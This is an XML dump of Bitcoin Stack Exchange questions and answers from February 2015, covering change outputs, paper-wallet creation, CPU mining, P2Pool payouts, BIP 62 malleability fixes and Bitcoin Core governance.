  <row Id="35891" PostTypeId="1" CreationDate="2015-02-04T08:37:04.550" Score="0" ViewCount="59" Body="&lt;p&gt;I understand that I can only spend the amount of a full transaction associated with an address. Often this will result in change being sent to a change address that I provide. One question at this point is, why does the receiver bother sending back the change. Do you send way more than the original cost for an item? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say they do, don't they have the same problem, not having a transaction for the exact amount so that they too might end up sending too much to you, so that a &lt;code&gt;cycle of change&lt;/code&gt; happens - what could have been one transaction ends up being many which seems like this is a burden on the system? &lt;/p&gt;&#xA;" OwnerUserId="12336" LastEditorUserId="6540" LastEditDate="2015-02-04T09:31:32.607" LastActivityDate="2015-02-04T09:31:32.607" Title="Does the inability to spend only part of a transaction result in &quot;too many&quot; extra transactions?" Tags="|transactions|payment|change|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35892" PostTypeId="2" ParentId="35891" CreationDate="2015-02-04T08:43:01.553" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Why does the receiver bother sending back change?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This assumption is wrong. Nevertheless, you are correct saying, that you need to spend the whole transaction input (UTXO) balance on your address, but the person who makes the change is the &lt;em&gt;sender&lt;/em&gt;, not receiver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example, You have unspent balance (UTXO) of 1 Bitcoin and you want to pay 0.2 BTC for coffee. You create a transaction spending 1 whole Bitcoin to two separate receivers. 0.2 BTC (tx output) goes to merchant and 0.7 BTC you direct back to your address (the change). The difference between UTXO and sum of tx outputs is called fee, in this case 0.1 BTC.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Does the inability to spend only part of a transaction result in “too many” extra transactions?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, since it is still 1 transaction with just two output in case there is a change. No extra transaction is made.&lt;/p&gt;&#xA;" OwnerUserId="6540" LastActivityDate="2015-02-04T08:43:01.553" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35893" PostTypeId="2" ParentId="35825" CreationDate="2015-02-04T08:59:06.473" Score="3" Body="&lt;p&gt;You may want to take a look at &lt;a href=&quot;https://github.com/KillerByte/node-merged-pool&quot; rel=&quot;nofollow&quot;&gt;this GitHub repo&lt;/a&gt;, which supports merged mining.&lt;/p&gt;&#xA;" OwnerUserId="23207" LastActivityDate="2015-02-04T08:59:06.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35894" PostTypeId="2" ParentId="16593" CreationDate="2015-02-04T10:12:59.897" Score="1" Body="&lt;p&gt;I suggest to use paper wallet with encrypted private key, so called &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0038.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP-38&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fundamentally, the only way to loose the access to those funds is by physically destroying the paper/forgetting the passphrase. Note that, keeping paper safe is much easier than keeping safe wallet.dat in computer that is connected to internet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following guide takes 2 minutes and is 100% secure if enhanced by using computer that has never been and never will be online - can be formatted before and after creation of cold storage. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to: &lt;a href=&quot;http://www.bitaddress.org&quot; rel=&quot;nofollow&quot;&gt;bitaddress.org&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/pointbiz/bitaddress.org/archive/v2.9.8.zip&quot; rel=&quot;nofollow&quot;&gt;Download .zip file&lt;/a&gt; on the buttom of page or from &lt;a href=&quot;https://github.com/pointbiz/bitaddress.org&quot; rel=&quot;nofollow&quot;&gt;GitHub repository&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Extract .zip and run file &lt;code&gt;bitaddress.org.html&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Move your mouse to generate random entropy for generating new bitcoin address&lt;/li&gt;&#xA;&lt;li&gt;Navigate to &lt;code&gt;Paper wallet&lt;/code&gt; tab&lt;/li&gt;&#xA;&lt;li&gt;Fill 1 address to generate and check BIP-38 Encrypt checkbox&lt;/li&gt;&#xA;&lt;li&gt;Enter the passphrase (only you would know and need to remember)&lt;/li&gt;&#xA;&lt;li&gt;Click generate, and print this on the paper&lt;/li&gt;&#xA;&lt;li&gt;Scan the Load &amp;amp; verify Public key and transfer there funds from MultiBit&lt;/li&gt;&#xA;&lt;li&gt;You do not even need to keep the paper safe now, since person who would scan the Spend QR need to know the passphrase which is only in your brain&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6540" LastActivityDate="2015-02-04T10:12:59.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35896" PostTypeId="2" ParentId="10437" CreationDate="2015-02-04T15:43:34.940" Score="4" Body="&lt;p&gt;I suggest to use one of the updated cpuminer versions which support more than one algorithm. This way you are also set up to mine different coins which use other PoW functions. The most versatile one is tpruvot's fork:&lt;a href=&quot;https://github.com/tpruvot/cpuminer-multi&quot; rel=&quot;nofollow&quot;&gt;cpuminer-multi&lt;/a&gt;. For me this one worked out of the box on a recent Ubuntu 14.04 installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The syntax is similar to all other cpuminer versions:&#xA;cpuminer -a sha256d -o stratum+tcp://pool.com:port -O username.workername -p password&lt;/p&gt;&#xA;" OwnerUserId="23222" LastActivityDate="2015-02-04T15:43:34.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35897" PostTypeId="1" AcceptedAnswerId="35899" CreationDate="2015-02-04T16:00:39.467" Score="3" ViewCount="2678" Body="&lt;p&gt;From reading the wiki on &lt;a href=&quot;https://en.bitcoin.it/wiki/P2Pool#Donating_to_P2Pool_miners&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/P2Pool#Donating_to_P2Pool_miners&lt;/a&gt; I got the impression that the pool members included each of the share payments directly in the coinbase generation transaction as multiple txouts.  But after spending some time looking at  example p2pool blocks (for example this one:&#xA;&lt;a href=&quot;https://blockchain.info/block/000000000000000007508100b6d96c3e1d1016835db41a32532d53ebd0207039&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/block/000000000000000007508100b6d96c3e1d1016835db41a32532d53ebd0207039&lt;/a&gt;)&#xA;I see that the whole output goes to one wallet (starting with 1KFEH7...). (EDIT: My error this was a F2Pool not P2Pool. Actual P2Pool coinbase do pay to multiple txouts.) In some blocks I do see this wallet sending money to many people  (but not in this example one) but this leads to a couple questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) How does the system enforce these payouts?&lt;br&gt;&#xA;2) How does the system get it's intitial seed money for the first payouts?&lt;/p&gt;&#xA;" OwnerUserId="23102" LastEditorUserId="23102" LastEditDate="2015-02-04T19:09:36.780" LastActivityDate="2015-02-04T19:09:36.780" Title="Can someone explain in detail how p2pool payout works?" Tags="|mining-pools|p2pool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35898" PostTypeId="1" AcceptedAnswerId="36328" CreationDate="2015-02-04T16:38:29.577" Score="0" ViewCount="2330" Body="&lt;p&gt;I have a Gridseed 5-chip ASIC miner and am running 2 amps into it. Will this impact how it works and if it works at all if I use 2 amps instead of 5?&lt;/p&gt;&#xA;" OwnerUserId="21126" LastEditorUserId="5406" LastEditDate="2016-04-09T07:44:14.893" LastActivityDate="2016-09-14T14:51:47.483" Title="Does the power supply matter?" Tags="|mining-setup|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35899" PostTypeId="2" ParentId="35897" CreationDate="2015-02-04T17:02:39.183" Score="2" Body="&lt;p&gt;Are you sure the link you gave is for a P2Pool block? I just found &lt;a href=&quot;http://p2pool.info/&quot; rel=&quot;nofollow&quot;&gt;this resource&lt;/a&gt; which lists the blocks solved by the P2Pool. &lt;a href=&quot;https://blockchain.info/block-index/00000000000000000a3fd38301dca2cba78e6c0d4c5ff973aed7abb199523be1&quot; rel=&quot;nofollow&quot;&gt;This was the top block listed&lt;/a&gt;, and it has many outputs in the generation transaction, paying to each of the miners in a pool who contributed to the share chain within the last N blocks (N is some pool-specific number). &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1) How does the system enforce these payouts?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As far as I understand it, blocks on the share chain are only accepted by the other members of the P2Pool if they have appropriate payouts. So, while you &lt;em&gt;could&lt;/em&gt; make a block that pays all to you, you wouldn't get that block accepted on the share chain, and you wouldn't get credit for your work. To have the appropriate payouts, the block must split up the reward to each of the solvers of the last N blocks. If a miner has multiple shares in the share chain within the last N blocks, their payouts can be grouped into one transaction output. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2) How does the system get it's initial seed money for the first payouts?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;P2Pool works with PPLNS (Pay per last N shares), which is pool hopping resistant. P2Pool also doesn't give any payouts until someone in the pool solves a block. Essentially, all pool payouts are awarded in an actual bitcoin block, so there's no need to have a fund to distribute rewards set up ahead of time.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-02-04T17:13:22.670" LastActivityDate="2015-02-04T17:13:22.670" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35900" PostTypeId="2" ParentId="35898" CreationDate="2015-02-04T17:46:45.373" Score="2" Body="&lt;p&gt;Yes. If you use a 12V/2A power supply rather than a 12V/5A supply, the voltage will drop, causing hardware errors. You will effectively be undervolting the chips.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-02-04T17:46:45.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35901" PostTypeId="2" ParentId="5344" CreationDate="2015-02-04T19:37:07.680" Score="6" Body="&lt;p&gt;There are several Bitcoin Clojure projects, but none of them appear to have a full rewrite of Bitcoin as a goal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of particular interest is &lt;a href=&quot;https://github.com/johnwalker/bitcoin-protocol&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/johnwalker/bitcoin-protocol&lt;/a&gt; , which is an implementation of the Bitcoin networking protocol. It can be used to communicate with peers within Bitcoin networks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rewriting Bitcoin core in another language is doable, as the btcd developers have done porting it to the Go language - &lt;a href=&quot;https://github.com/btcsuite/btcd&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/btcsuite/btcd&lt;/a&gt; , however it took almost a year of development time between several developers to become fully functional. &lt;/p&gt;&#xA;" OwnerUserId="23226" LastActivityDate="2015-02-04T19:37:07.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35902" PostTypeId="2" ParentId="14081" CreationDate="2015-02-04T19:59:03.657" Score="1" Body="&lt;p&gt;Bitcoin mining has become an industry and is no longer a viable path for home users to earn cheap coins. At best it is a financially risky and expensive hobby.&#xA;Especially with the current low price, it is a very competitive market, and not one that I would recommend anyone to enter on a whim.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, buy &lt;a href=&quot;https://bitcoin.stackexchange.com/q/91/5406&quot;&gt;bitcoins directly&lt;/a&gt; from a reputable source, offer a service or goods for Bitcoin, or add a Bitcoin address to content that you are producing on the web, where people can send you a donation as a &quot;Thank you!&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@&lt;a href=&quot;https://bitcoin.stackexchange.com/a/19955/5406&quot;&gt;Keith Wolters' answer&lt;/a&gt;:&lt;br&gt;&#xA;I have trouble understanding how Cloud Mining could actually be a legitimate business. (If you do know, please enlighten us all on: &lt;a href=&quot;https://bitcoin.stackexchange.com/q/34219/5406&quot;&gt;How do cloud hashing companies profit? (leasing hashing power)&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest, one might rather stay clear from Cloud Mining unless one has done more research than I have and is still convinced that they actually do have some sort of business.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2015-02-04T20:25:12.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35904" PostTypeId="1" AcceptedAnswerId="35909" CreationDate="2015-02-04T23:11:53.113" Score="12" ViewCount="1438" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0062.mediawiki&quot;&gt;BIP 62&lt;/a&gt; lists nine source of malleability:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Non-DER encoded ECDSA signatures&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Non-push operations in scriptSig&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Push operations in scriptSig of non-standard size type&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Zero-padded number pushes&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Inherent ECDSA signature malleability&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Superfluous scriptSig operations&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Inputs ignored by scripts&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Sighash flags based masking&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;New signatures by the sender&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;...and proposes new rules that would fix the first seven. How many of these fixes have been implemented in Bitcoin Core?&lt;/p&gt;&#xA;" OwnerUserId="10845" LastEditorUserId="2306" LastEditDate="2015-02-04T23:40:28.280" LastActivityDate="2015-02-05T20:08:49.590" Title="How much of BIP 62 (&quot;Dealing with malleability&quot;) has been implemented?" Tags="|transaction-malleability|bitcoin-core-development|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35905" PostTypeId="2" ParentId="35904" CreationDate="2015-02-04T23:28:26.000" Score="1" Body="&lt;p&gt;According to statuses of proposed BIPs implementation into Bitcoin Core #62 is in status Draft. This means that none of the seven proposed &quot;fixes&quot; have been implemented, yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://github.com/bitcoin/bips&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bips&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6540" LastActivityDate="2015-02-04T23:28:26.000" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35907" PostTypeId="1" AcceptedAnswerId="35910" CreationDate="2015-02-05T01:01:02.140" Score="1" ViewCount="1215" Body="&lt;p&gt;I'm just watching &lt;a href=&quot;https://www.youtube.com/watch?v=jE_elgnIw3M&quot; rel=&quot;nofollow&quot;&gt;Adam Back &amp;amp; Gregory Maxwell: Blockstream and Sidechains&lt;/a&gt; interview, and wondering how the decision of further Bitcoin core development are made. I know about Bitcoin Foundation, but I do not think that board members represent majority of voting power, when it comes to decision making for bitcoin core development, altough there are some core development members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Who does make the decision which feature of bitcoin to include?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What will be the procedure of voting (who and how) would decide whether or not to include Sidechains?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the participant nodes (roughly more than 6300) vote as well?&lt;/p&gt;&#xA;" OwnerUserId="6540" LastEditorUserId="21052" LastEditDate="2015-02-05T03:49:23.977" LastActivityDate="2015-02-05T03:49:23.977" Title="Bitcoin nodes voting" Tags="|nodes|bitcoin-core-development|sidechains|bitcoin-foundation|voting|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35908" PostTypeId="2" ParentId="35907" CreationDate="2015-02-05T01:30:07.100" Score="2" Body="&lt;p&gt;The actual stated development process can be found &lt;a href=&quot;https://en.bitcoin.it/wiki/Development_process&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. That said, there's become a rule where enough core developers need to &quot;ACK&quot; it like seen in this &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/5286&quot; rel=&quot;nofollow&quot;&gt;pull request&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will there be a procedure for voting? If core devs feel it is &lt;code&gt;safe, tested, useful, well written, match coding style, etc.&lt;/code&gt; then it gets merged into bitcoin. This is usually not easy and the &lt;a href=&quot;http://sourceforge.net/p/bitcoin/mailman/bitcoin-development/&quot; rel=&quot;nofollow&quot;&gt;bitcoin development archives&lt;/a&gt; and the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pulls?q=is%3Apr+is%3Aclosed&quot; rel=&quot;nofollow&quot;&gt;numerous pull requests&lt;/a&gt; that haven't made any headway should make this obvious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will Sidechains get in? The big thing to note about sidechains is that at least a few of the core developers are actively working on it. This means they're going to try their hardest to get it in. So there's a better chance than most features people usually propose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do nodes vote? They can, of course, refuse to upgrade their bitcoin client to the new version that has sidechains, for example. That's entirely their choice. But actual getting into the bitcoind code, they do not vote on. People can and do, fork bitcoin and use that as their node (Luke-Jr and Eligius being the most prominent example)&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-02-05T01:30:07.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35909" PostTypeId="2" ParentId="35904" CreationDate="2015-02-05T03:13:40.470" Score="11" Body="&lt;p&gt;Most of the fixes have been implemented in Bitcoin Core's master branch, or earlier versions, as standard transaction checks that prevent default Bitcoin Core nodes from relaying or mining transactions that break the rules.  Here are some details: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Non-DER encoded ECDSA signatures&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;These are currently non-standard, so Bitcoin Core nodes (since 0.8.0, IIRC) by default won't relay or mine them.  When the &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0066.mediawiki&quot;&gt;BIP66&lt;/a&gt; soft fork is successful and version-3 blocks become mandatory, this rule will be enforced on all confirmed transactions.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;2&quot;&gt;&#xA;  &lt;li&gt;Non-push operations in scriptSig&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;These are also currently non-standard, and are completely forbidden for signature scripts spending a P2SH output.  I don't know when they were first made non-standard, but I suspect it was 0.8 or before.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;3&quot;&gt;&#xA;  &lt;li&gt;Push operations in scriptSig of non-standard size type&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;These were made non-standard in &lt;a href=&quot;https://bitcoin.org/en/release/v0.9.0&quot;&gt;0.9.0&lt;/a&gt;, where they're called &quot;non-canonically-encoded serialization sizes&quot;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;4&quot;&gt;&#xA;  &lt;li&gt;Zero-padded number pushes&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This will be &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/fcf646c9b08e7f846d6c99314f937ace50809d7a/src/script/standard.h#L50&quot;&gt;non-standard in 0.10.0&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;5&quot;&gt;&#xA;  &lt;li&gt;Inherent ECDSA signature malleability&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is currently allowed, and several popular Bitcoin programs still do create full-range signatures.  Getting those programs to update to using only low-S values before BIP62 is implemented would be nice, but it &lt;strong&gt;isn't&lt;/strong&gt; critical because the new BIP62 validation rules will only apply to version 2 transactions.  Programs that don't update will still be allowed to create version 1 transactions even after the soft fork.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage for programs using v2 transactions is that they can generally be constructed to be non-malleable by third parties, so v2 transactions can more safely be used for applications like the initial bond part of establishing a micropayment channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit:&lt;/em&gt; an earlier version of this section incorrectly said getting programs to create only low-S signatures was critical.  Thanks to @PieterWuille's comment below for pointing out my error.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;6&quot;&gt;&#xA;  &lt;li&gt;Superfluous scriptSig operations&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/39f0d9686095bce469dbfa52333331a5d15c6545&quot;&gt;Non-standard since 0.6.0&lt;/a&gt;.  In master, this test has &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/fcf646c9b08e7f846d6c99314f937ace50809d7a/src/script/standard.h#L53&quot;&gt;moved here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;7&quot;&gt;&#xA;  &lt;li&gt;Inputs ignored by scripts&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is partly &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/fcf646c9b08e7f846d6c99314f937ace50809d7a/src/script/standard.h#L51&quot;&gt;addressed in 0.10.0&lt;/a&gt;, but see the note below.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;8&quot;&gt;&#xA;  &lt;li&gt;&lt;p&gt;Sighash flags based masking&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;New signatures by the sender&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Per &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0062.mediawiki&quot;&gt;BIP62&lt;/a&gt;, &quot;The first six and part of the seventh can be fixed by extra consensus rules, but the last two can't. Not being able to fix #7 means that even with these new consensus rules, it will always be possible to create outputs whose spending transactions will all be malleable.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, rule 7 doesn't have a complete solution and rules 8 and 9 don't have any solution.  (Indeed, the malleability from 8 is a feature, and fixing 9 would require a different signature scheme.)&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="21052" LastEditDate="2015-02-05T20:08:49.590" LastActivityDate="2015-02-05T20:08:49.590" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35910" PostTypeId="2" ParentId="35907" CreationDate="2015-02-05T03:47:38.573" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Who does make the decision which feature of bitcoin to include?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin Core developers, particularly the ones with commit access, make the ultimate decision about what features to add to Bitcoin Core---but they do listen to community feedback, particularly polite and knowledgeable comments left on GitHub pull requests.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What will be the procedure of voting (who and how) would decide whether or not to include Sidechains?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Sidechains will initially be introduced as federated sidechains, which is described in Appendix A of the &lt;a href=&quot;http://blockstream.com/sidechains.pdf&quot; rel=&quot;nofollow&quot;&gt;sidechains paper&lt;/a&gt;.  Federated sidechains don't require any changes to Bitcoin Core or the protocol, so there will be no voting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Merged-mined (DMMS) side chains can be added as a &lt;a href=&quot;https://bitcoin.org/en/developer-guide#term-soft-fork&quot; rel=&quot;nofollow&quot;&gt;soft fork&lt;/a&gt;.  If this is done the same way as the &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0034.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP34 soft fork&lt;/a&gt; or the upcoming &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0066.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP66 soft fork&lt;/a&gt;, it'll be miners that vote.  They'll cast their vote by upgrading to the version of Bitcoin Core that includes the new SPV-proof redesignated op code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the only-let-miners-vote method is mainly intended for non-controversial forks.  (We need miners to vote, because only they can enforce a consensus rule change (fork) in a minimally-disruptive way.)  If adding the SPV proof op code is controversial, we'll probably need to do something different to ensure minimal disruption.  (See point below.)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Does the participant nodes (roughly more than 6300) vote as well?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They &lt;em&gt;can&lt;/em&gt;.  Each node &lt;em&gt;independently&lt;/em&gt; verifies each block on the block chain, giving them the power to enforce or not enforce any rule they want.  For example, if you don't like the upcoming BIP66 soft fork, you can modify the code of your node to reject all version 3 blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do this by yourself, it'll likely mean that your node will never accept another block again since everyone else is on a chain that includes version 3 blocks.  It'll also mean that people won't want to connect to your node because your node looks like it has fallen behind everyone else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if a lot of node operators make that same decision to reject version 3 blocks, it'll become confusing about what's going on.  And if a few miners join you, you'll have a forked block chain, which will create more confusion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During the confusion, it'll be hard to tell who controls what bitcoins, and double spends may become easy.  This makes Bitcoin unreliable, and nobody wants to use an unreliable financial system---which is why we work very hard to avoid creating such confusion.  That's why the only-miners-vote system is only used for non-controversial forks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's my guess that Greg, Adam, and the rest of the Blockstream co-founders plan to use federated sidechains to introduce us all to two-way pegs so that we can see what they do.  Then, as we become comfortable with them and begin want the additional benefit of distributed trust from merged mining, we can work through any controversy surrounding adding an SPV proof op code.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-02-05T03:47:38.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35911" PostTypeId="2" ParentId="23742" CreationDate="2015-02-05T07:10:55.343" Score="2" Body="&lt;p&gt;Have a look at the API of &lt;a href=&quot;http://bitcoincharts.com/about/markets-api/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Charts&lt;/a&gt;. They have trade data available for all the major exchanges but delayed by 15 minutes. You can then fill up the gap using the available exchange APIs.&lt;/p&gt;&#xA;" OwnerUserId="23222" LastActivityDate="2015-02-05T07:10:55.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35913" PostTypeId="1" CreationDate="2015-02-05T07:58:45.127" Score="3" ViewCount="1160" Body="&lt;p&gt;After reading this &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/35572/how-many-addresses-does-my-wallet-dat-contain-do-i-need-to-make-a-new-backup-ev&quot;&gt;question&lt;/a&gt; I watched the &lt;code&gt;keypoololdest&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It was 1392447127 (Sat, 15 Feb 2014 06:52:07 GMT)&lt;/li&gt;&#xA;&lt;li&gt;I created a new address.&lt;/li&gt;&#xA;&lt;li&gt;Then, it was 1392449568 (Sat, 15 Feb 2014 07:32:48 GMT)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Should the time change to be today at the moment of change? It is too old (like one year ago) . If I took a backup now is it sufficient until the &quot;keypoololdest&quot; changes to be more recent than the date of the backup?&lt;/p&gt;&#xA;" OwnerUserId="13327" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2016-10-13T18:01:37.983" Title="What does the keypoololdest field mean?" Tags="|bitcoin-core|keypool|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
